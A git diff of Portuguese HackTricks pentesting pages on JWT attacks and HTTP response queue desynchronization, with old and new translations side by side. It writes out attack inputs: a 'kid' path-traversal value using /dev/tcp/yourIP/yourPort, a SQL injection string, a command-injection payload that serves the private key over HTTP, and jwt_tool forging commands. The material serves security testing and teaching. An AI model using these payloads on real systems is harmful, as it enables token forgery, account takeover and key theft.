openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### Nova chave pública dentro do cabeçalho
|
||||
### Nova chave pública no cabeçalho
|
||||
|
||||
Um atacante incorpora uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
|
||||
|
||||
Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
|
||||
(Envie a solicitação para o Repeater, dentro da guia JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
|
||||
(Envie a solicitação para o Repeater, na aba JSON Web Token selecione "CVE-2018-0114" e envie a solicitação).
|
||||
|
||||
### Falsificação de JWKS
|
||||
### JWKS Spoofing
|
||||
|
||||
Se o token usa uma reivindicação de cabeçalho "jku", verifique a URL fornecida. Isso deve apontar para uma URL que contenha o arquivo JWKS que contém a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
|
||||
Se o token usa uma reivindicação de cabeçalho “jku”, então verifique a URL fornecida. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Altere o token para apontar o valor de jku para um serviço web que você possa monitorar o tráfego.
|
||||
|
||||
Se você receber uma interação HTTP, agora sabe que o servidor está tentando carregar chaves da URL que você está fornecendo. _Use a opção -S do jwt\_tool junto com o argumento -u_ [_http://example.com_](http://example.com) _para gerar um novo par de chaves, injetar sua URL fornecida, gerar um JWKS contendo a Chave Pública e assinar o token com a Chave Privada_
|
||||
Se você receber uma interação HTTP, agora sabe que o servidor está tentando carregar chaves da URL que você está fornecendo. _Use a flag -S do jwt\_tool junto com o argumento -u_ [_http://example.com_](http://example.com) _para gerar um novo par de chaves, injetar sua URL fornecida, gerar um JWKS contendo a Chave Pública e assinar o token com a Chave Privada_
|
||||
|
||||
### Problemas com "kid"
|
||||
|
||||
`kid` é uma reivindicação opcional de cabeçalho que contém um identificador de chave, especialmente útil quando você tem várias chaves para assinar os tokens e precisa procurar a correta para verificar a assinatura.
|
||||
`kid` é uma reivindicação de cabeçalho opcional que contém um identificador de chave, particularmente útil quando você tem várias chaves para assinar os tokens e precisa procurar a certa para verificar a assinatura.
|
||||
|
||||
#### Problemas com "kid" - revelar chave
|
||||
|
||||
Se a reivindicação "kid" for usada no cabeçalho, verifique o diretório da web para esse arquivo ou uma variação dele. Por exemplo, se `"kid":"key/12345"`, procure por _/key/12345_ e _/key/12345.pem_ na raiz da web.
|
||||
Se a reivindicação "kid" é usada no cabeçalho, verifique o diretório web para esse arquivo ou uma variação dele. Por exemplo, se `"kid":"key/12345"`, então procure por _/key/12345_ e _/key/12345.pem_ na raiz web.
|
||||
|
||||
#### Problemas com "kid" - travessia de caminho
|
||||
#### Problemas com "kid" - path traversal
|
||||
|
||||
Se a reivindicação "kid" for usada no cabeçalho, verifique se você pode usar um arquivo diferente no sistema de arquivos. Escolha um arquivo cujo conteúdo você possa prever, ou talvez tente `"kid":"/dev/tcp/yourIP/yourPort"` para testar a conectividade, ou até mesmo algumas cargas úteis de **SSRF**...\
|
||||
_Use a opção -T do jwt\_tool para adulterar o JWT e alterar o valor da reivindicação kid, em seguida, escolha manter a assinatura original_
|
||||
Se a reivindicação "kid" é usada no cabeçalho, verifique se você pode usar um arquivo diferente no sistema de arquivos. Escolha um arquivo cujo conteúdo você possa prever, ou talvez tente `"kid":"/dev/tcp/seuIP/seuPorta"` para testar conectividade, ou até mesmo alguns payloads de **SSRF**...\
|
||||
_Use a flag -T do jwt\_tool para alterar o JWT e mudar o valor da reivindicação kid, depois escolha manter a assinatura original_
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Usando arquivos dentro do host com conteúdo conhecido, você também pode forjar um JWT válido. Por exemplo, em sistemas Linux, o arquivo `/proc/sys/kernel/randomize_va_space` tem o valor definido como **2**. Portanto, colocando esse **caminho** dentro do parâmetro "**kid**" e usando "**2**" como a **senha simétrica** para gerar o JWT, você deve ser capaz de gerar um novo JWT válido.
|
||||
Utilizando arquivos dentro do host com conteúdo conhecido, você também pode forjar um JWT válido. Por exemplo, em sistemas Linux, o arquivo `/proc/sys/kernel/randomize_va_space` tem o valor definido como **2**. Então, colocando esse **caminho** dentro do parâmetro "**kid**" e usando "**2**" como a **senha simétrica** para gerar o JWT, você deve ser capaz de gerar um novo JWT válido.
|
||||
|
||||
#### Problemas com "kid" - Injeção de SQL
|
||||
#### Problemas com "kid" - Injeção SQL
|
||||
|
||||
Em um cenário em que o conteúdo do "kid" é usado para recuperar a senha do banco de dados, você pode alterar a carga útil dentro do parâmetro "kid" para: `non-existent-index' UNION SELECT 'ATTACKER';-- -` e então assinar o JWT com a chave secreta `ATTACKER`.
|
||||
Em um cenário onde o conteúdo do "kid" é usado para recuperar a senha do banco de dados, você poderia alterar o payload dentro do parâmetro "kid" para: `non-existent-index' UNION SELECT 'ATTACKER';-- -` e então assinar o JWT com a chave secreta `ATTACKER`.
|
||||
|
||||
#### Problemas com "kid" - Injeção de SO
|
||||
#### Problemas com "kid" - Injeção OS
|
||||
|
||||
Em um cenário em que o parâmetro "kid" contém um caminho para o arquivo com a chave e esse caminho está sendo usado **dentro de um comando executado**, você pode ser capaz de obter RCE e expor a chave privada com uma carga útil como a seguinte: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
Em um cenário onde o parâmetro "kid" contém um caminho para o arquivo com a chave e esse caminho está sendo usado **dentro de um comando executado**, você poderia ser capaz de obter RCE e expor a chave privada com um payload como o seguinte: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### Ataques diversos
|
||||
### Ataques Diversos
|
||||
|
||||
Os seguintes são pontos fracos conhecidos que devem ser testados.
|
||||
As seguintes são fraquezas conhecidas que devem ser testadas.
|
||||
|
||||
**Ataques de relé entre serviços**
|
||||
**Ataques de retransmissão entre serviços**
|
||||
|
||||
Algumas aplicações web usam um JWT 'serviço' confiável para gerar e gerenciar tokens para elas. No passado, ocorreram casos em que um token gerado para um dos clientes do serviço JWT pode ser aceito por outro cliente do serviço JWT.\
|
||||
Se você observar o JWT sendo emitido ou renovado por meio de um serviço de terceiros, vale a pena identificar se você pode se inscrever em uma conta em outro cliente desse serviço com o mesmo nome de usuário/email. Se sim, tente pegar esse token e reproduzi-lo em uma solicitação para o seu alvo. Ele é aceito?
|
||||
Algumas aplicações web usam um serviço JWT 'confiável' para gerar e gerenciar tokens para eles. No passado, ocorreram alguns casos em que um token gerado para um dos clientes do serviço JWT poderia ser aceito por outro cliente do serviço JWT.\
|
||||
Se você observar o JWT sendo emitido ou renovado por um serviço terceirizado, vale a pena identificar se você pode se inscrever para uma conta em outro cliente desse serviço com o mesmo nome de usuário/email. Se sim, tente pegar esse token e retransmiti-lo em uma solicitação para o seu alvo. Ele é aceito?
|
||||
|
||||
* Se o seu token for aceito, você pode ter um problema crítico que permite falsificar a conta de qualquer usuário. NO ENTANTO, esteja ciente de que, se você estiver se inscrevendo em um aplicativo de terceiros, talvez seja necessário obter permissão para permissões de teste mais amplas, caso isso entre em uma área cinzenta legal!
|
||||
* Se o seu token for aceito, você pode ter um problema crítico permitindo que você se passe por qualquer conta de usuário. NO ENTANTO, esteja ciente de que, se você está se inscrevendo em um aplicativo de terceiros, pode ser necessário buscar permissão para testes mais amplos em caso de entrar em uma área cinzenta legal!
|
||||
|
||||
**O "exp" é verificado?**
|
||||
**O exp é verificado?**
|
||||
|
||||
A reivindicação de carga útil "exp" é usada para verificar a expiração de um token. Como os JWTs são frequentemente usados na ausência de informações de sessão, eles precisam ser tratados com cuidado - em muitos casos, capturar e reproduzir o JWT de outra pessoa permitirá que você se passe por esse usuário.\
|
||||
Uma mitigação contra ataques de reprodução de JWT (que é aconselhada pelo JWT RFC) é usar a reivindicação "exp" para definir um tempo de expiração para o token. Também é importante definir as verificações relevantes no aplicativo para garantir que esse valor seja processado e o token seja rejeitado quando expirado. Se o token contiver uma reivindicação "exp" e os limites de tempo de teste permitirem, tente armazenar o token e reproduzi-lo após o tempo de expiração ter passado. _Use a opção -R da ferramenta jwt\_tool para ler o conteúdo do token, que inclui análise de carimbo de data/hora e verificação de expiração (carimbo de data/hora em UTC)_
|
||||
A reivindicação "exp" do Payload é usada para verificar a expiração de um token. Como os JWTs são frequentemente usados na ausência de informações de sessão, eles precisam ser tratados com cuidado - em muitos casos, capturar e retransmitir o JWT de outra pessoa permitirá que você se passe por esse usuário.\
|
||||
Uma mitigação contra ataques de retransmissão de JWT (que é aconselhada pelo RFC do JWT) é usar a reivindicação "exp" para definir um tempo de expiração para o token. Também é importante estabelecer as verificações relevantes no aplicativo para garantir que esse valor seja processado e o token rejeitado quando estiver expirado. Se o token contém uma reivindicação "exp" e o tempo de teste permitir - tente armazenar o token e retransmiti-lo após o tempo de expiração ter passado. _Use a flag -R do jwt\_tool para ler o conteúdo do token, que inclui análise de carimbo de data/hora e verificação de expiração (carimbo de data/hora em UTC)_
|
||||
|
||||
* Se o token ainda for validado no aplicativo, isso pode representar um risco de segurança, pois o token pode NUNCA expirar.
|
||||
* Se o token ainda validar no aplicativo, isso pode ser um risco de segurança, pois o token pode NUNCA expirar.
|
||||
|
||||
### x5u e jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku significa **URL do Conjunto de Chaves JWK**.\
|
||||
Se o token usar uma reivindicação de cabeçalho "**jku**", **verifique a URL fornecida**. Isso deve apontar para uma URL que contém o arquivo JWKS que contém a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
|
||||
jku significa **URL do Conjunto JWK**.\
|
||||
Se o token usa uma reivindicação de **Cabeçalho** “**jku**”, então **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que possui a Chave Pública para verificar o token. Altere o token para apontar o valor jku para um serviço web que você possa monitorar o tráfego.
|
||||
|
||||
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
|
||||
Primeiro você precisa criar um novo certificado com novas chaves privadas e públicas
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado**. Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
|
||||
|
||||
Você pode obter os parâmetros "e" e "n" de um certificado público usando:
|
||||
```bash
|
||||
|
|
@ -162,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
URL X.509. Um URI que aponta para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. É necessário ter segurança de transporte para transferir os certificados.
|
||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em forma PEM. O primeiro certificado no conjunto deve ser o utilizado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. Segurança de transporte é necessária para transferir os certificados.
|
||||
|
||||
Tente **alterar este cabeçalho para uma URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
||||
|
||||
|
|
@ -171,7 +173,7 @@ Para forjar um novo token usando um certificado controlado por você, você prec
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado**.
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -183,18 +185,18 @@ Este parâmetro pode conter o **certificado em base64**:
|
|||
|
||||
.png>)
|
||||
|
||||
Se o atacante **gerar um certificado autoassinado** e criar um token forjado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, ou seja, n, e e x5t, então essencialmente o token forjado seria aceito pelo servidor.
|
||||
Se o atacante **gerar um certificado autoassinado** e criar um token forjado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então, essencialmente, o token forjado seria aceito pelo servidor.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Chave Pública Incorporada (CVE-2018-0114)
|
||||
### Chave Pública Embutida (CVE-2018-0114)
|
||||
|
||||
Se o JWT tiver uma chave pública incorporada, como no seguinte cenário:
|
||||
Se o JWT tiver uma chave pública embutida como no seguinte cenário:
|
||||
|
||||
.png>)
|
||||
|
||||
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
|
||||
Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
|
@ -220,14 +222,14 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Finalmente, usando a chave pública e privada e os novos valores "n" e "e", você pode usar [jwt.io](https://jwt.io) para forjar um novo JWT válido com qualquer informação.
|
||||
Finalmente, usando a chave pública e privada e os novos valores de "n" e "e", você pode usar [jwt.io](https://jwt.io) para forjar um novo JWT válido com qualquer informação.
|
||||
|
||||
### JTI (JWT ID)
|
||||
### JTI (Identificador JWT)
|
||||
|
||||
A reivindicação JTI (JWT ID) fornece um identificador único para um token JWT. Ele pode ser usado para evitar que o token seja reproduzido.\
|
||||
No entanto, imagine uma situação em que o comprimento máximo do ID seja 4 (0001-9999). As solicitações 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada solicitação, você pode abusar disso para **reproduzir uma solicitação** (precisando enviar 10000 solicitações entre cada reprodução bem-sucedida).
|
||||
O campo JTI (Identificador JWT) fornece um identificador único para um Token JWT. Pode ser usado para prevenir a repetição do token.\
|
||||
No entanto, imagine uma situação onde o comprimento máximo do ID é 4 (0001-9999). A requisição 0001 e 10001 vão usar o mesmo ID. Então, se o backend está incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (necessitando enviar 10000 requisições entre cada repetição bem-sucedida).
|
||||
|
||||
### Reivindicações registradas do JWT
|
||||
### Reivindicações Registradas JWT
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
|
|
@ -236,18 +238,20 @@ No entanto, imagine uma situação em que o comprimento máximo do ID seja 4 (00
|
|||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,57 +2,158 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegrama**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Desincronização da fila de solicitações HTTP
|
||||
## Desincronização da Fila de Requisições HTTP
|
||||
|
||||
Em primeiro lugar, esta técnica **abusa de uma vulnerabilidade de Smuggling de Solicitação HTTP**, então você precisa saber o que é isso:
|
||||
Primeiramente, esta técnica **abusa de uma vulnerabilidade de HTTP Request Smuggling**, então você precisa saber o que é isso:
|
||||
|
||||
A **principal** **diferença** entre esta técnica e um Smuggling de Solicitação HTTP comum é que, **em vez** de **atacar** a **solicitação** da **vítima adicionando um prefixo a ela**, vamos **vazar ou modificar a resposta que a vítima recebe**. Isso é feito enviando não 1 solicitação e meia para abusar do Smuggling de Solicitação HTTP, mas **enviando 2 solicitações completas para dessincronizar a fila de respostas dos proxies**.
|
||||
A **principal diferença** entre esta técnica e um HTTP Request Smuggling comum é que **em vez de atacar** a **requisição da vítima** **adicionando um prefixo a ela**, vamos **vazar ou modificar a resposta que a vítima recebe**. Isso é feito, em vez de enviar 1 requisição e meia para abusar do HTTP Request Smuggling, **enviando 2 requisições completas para desincronizar a fila de respostas dos proxies**.
|
||||
|
||||
Isso ocorre porque seremos capazes de **dessincronizar a fila de respostas** para que a **resposta** da **solicitação legítima** da **vítima seja enviada ao atacante**, ou **injetando conteúdo controlado pelo atacante na resposta à vítima**.
|
||||
Isso porque vamos conseguir **desincronizar a fila de respostas** de modo que a **resposta** da **requisição legítima** da **vítima seja enviada ao atacante**, ou **injetando conteúdo controlado pelo atacante na resposta à vítima**.
|
||||
|
||||
### Dessincronização do pipeline HTTP
|
||||
### Desync de Pipeline HTTP
|
||||
|
||||
O HTTP/1.1 permite solicitar **diferentes recursos sem precisar esperar pelos anteriores**. Portanto, se houver um **proxy** no **meio**, é tarefa do proxy **manter uma correspondência sincronizada das solicitações enviadas ao backend e das respostas recebidas dele**.
|
||||
HTTP/1.1 permite solicitar **diferentes recursos sem precisar esperar pelos anteriores**. Portanto, se houver um **proxy** no **meio**, é tarefa do proxy **manter uma correspondência sincronizada das requisições enviadas ao backend e das respostas recebidas dele**.
|
||||
|
||||
No entanto, há um problema de dessincronização da fila de respostas. Se um atacante enviar um ataque de Smuggling de Resposta HTTP e as respostas para a **solicitação inicial e a falsificada forem respondidas imediatamente**, a resposta falsificada não será inserida na fila de resposta da vítima, mas será **apenas descartada como um erro**.
|
||||
No entanto, há um problema ao desincronizar a fila de respostas. Se um atacante enviar um ataque de HTTP Response Smuggling e as respostas para a **requisição inicial e a contrabandeada forem respondidas imediatamente**, a resposta contrabandeada não será inserida na fila de respostas da vítima, mas **será descartada como um erro**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
Portanto, é necessário que a **solicitação falsificada leve mais tempo para ser processada** no servidor de back-end. Portanto, no momento em que a solicitação falsificada é processada, a comunicação com o atacante terá terminado.
|
||||
Portanto, é necessário que a **requisição contrabandeada** **leve mais tempo para ser processada** dentro do servidor backend. Assim, quando a requisição contrabandeada for processada, a comunicação com o atacante já terá terminado.
|
||||
|
||||
Se, nessa situação específica, uma **vítima enviou uma solicitação** e a **solicitação falsificada é respondida antes** da solicitação legítima, a **resposta falsificada será enviada à vítima**. Portanto, o atacante estará **controlando a solicitação "realizada" pela vítima**.
|
||||
Se nessa situação específica uma **vítima enviou uma requisição** e a **resposta à requisição contrabandeada for respondida antes** da requisição legítima, a **resposta contrabandeada será enviada à vítima**. Assim, o atacante estará **controlando a requisição "realizada" pela vítima**.
|
||||
|
||||
Além disso, se o **atacante então realizar uma solicitação** e a **resposta legítima** à **solicitação da vítima for respondida antes** da solicitação do atacante. A **resposta à vítima será enviada ao atacante**, **roubando** a resposta da vítima (que pode conter, por exemplo, o cabeçalho **Set-Cookie**).
|
||||
Além disso, se o **atacante então realizar uma requisição** e a **resposta legítima** à requisição da **vítima for respondida** **antes** da requisição do atacante. A **resposta à vítima será enviada ao atacante**, **roubando** a resposta destinada à vítima (que pode conter, por exemplo, o cabeçalho **Set-Cookie**).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Múltiplas Injeções Aninhadas
|
||||
### Injeções Aninhadas Múltiplas
|
||||
|
||||
Outra **diferença interessante** com o HTTP Request Smuggling comum é que, em um ataque de smuggling comum, o **objetivo** é **modificar o início da requisição da vítima** para que ela execute uma ação inesperada. Em um **ataque de HTTP Response Smuggling**, como você está **enviando requisições completas**, você pode **injetar em um payload dezenas de respostas** que irão **desincronizar dezenas de usuários** que estarão **recebendo** as **respostas injetadas**.
|
||||
|
||||
Além de poder **distribuir mais facilmente dezenas de exploits** entre usuários legítimos, isso também pode ser usado para causar um **DoS** no servidor.
|
||||
|
||||
### Organização do Exploit
|
||||
|
||||
Como explicado anteriormente, para abusar desta técnica, é necessário que a **primeira mensagem contrabandeada** enviada ao servidor **exija muito tempo para ser processada**.
|
||||
|
||||
Esta **requisição que consome tempo é suficiente** se apenas quisermos **tentar roubar a resposta da vítima.** Mas se você quiser realizar um exploit mais complexo, esta será uma estrutura comum para o exploit.
|
||||
|
||||
Primeiro, a **requisição inicial** abusando do **HTTP Request Smuggling**, depois a **requisição que consome tempo** e então **1 ou mais requisições de payload** cujas respostas serão enviadas às vítimas.
|
||||
|
||||
## Abusando da Desincronização da Fila de Respostas HTTP
|
||||
|
||||
### Capturando as requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Como com os payloads conhecidos de HTTP Request Smuggling, você pode **roubar a requisição da vítima** com uma diferença importante: Neste caso, você só precisa que o **conteúdo enviado seja refletido na resposta**, **nenhum armazenamento persistente** é necessário.
|
||||
|
||||
Primeiro, o atacante envia um payload contendo uma **requisição POST final com o parâmetro refletido** no final e um Content-Length grande
|
||||
|
||||
.png>)
|
||||
|
||||
Então, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a sonolenta está sendo processada (amarelo) a **próxima requisição que chega de uma vítima** será **anexada na fila logo após o parâmetro refletido**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Então, a **vítima** irá **receber** a **resposta à requisição sonolenta** e se, enquanto isso, o **atacante** **enviar** **outra** **requisição**, a **resposta do conteúdo refletido será enviada a ele**.
|
||||
|
||||
## Desincronização de Resposta
|
||||
|
||||
Até este ponto, aprendemos como abusar de ataques de HTTP Request Smuggling para **controlar** a **requisição** **cuja** **resposta** um **cliente** vai **receber** e como você pode então **roubar a resposta que era destinada à vítima**.
|
||||
|
||||
Mas ainda é possível **desincronizar ainda mais** as respostas.
|
||||
|
||||
Existem requisições interessantes como a requisição **HEAD** que são especificadas para não ter **nenhum conteúdo dentro do corpo da resposta** e que devem (obrigatoriamente) **conter o Content-Length** da requisição como **se fosse uma requisição GET**.
|
||||
|
||||
Portanto, se um atacante **injetar** uma requisição **HEAD**, como nestas imagens:
|
||||
|
||||
.png>)
|
||||
|
||||
Então, **uma vez que a azul é respondida ao atacante**, a próxima requisição da vítima será introduzida na fila:
|
||||
|
||||
 (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Então, a **vítima** irá **receber** a **resposta** da requisição **HEAD**, que **vai conter um Content-Length mas nenhum conteúdo**. Portanto, o proxy **não enviará esta resposta** à vítima, mas **esperará** por algum **conteúdo**, que na verdade será **resposta à requisição amarela** (também injetada pelo atacante):
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Confusão de Conteúdo
|
||||
|
||||
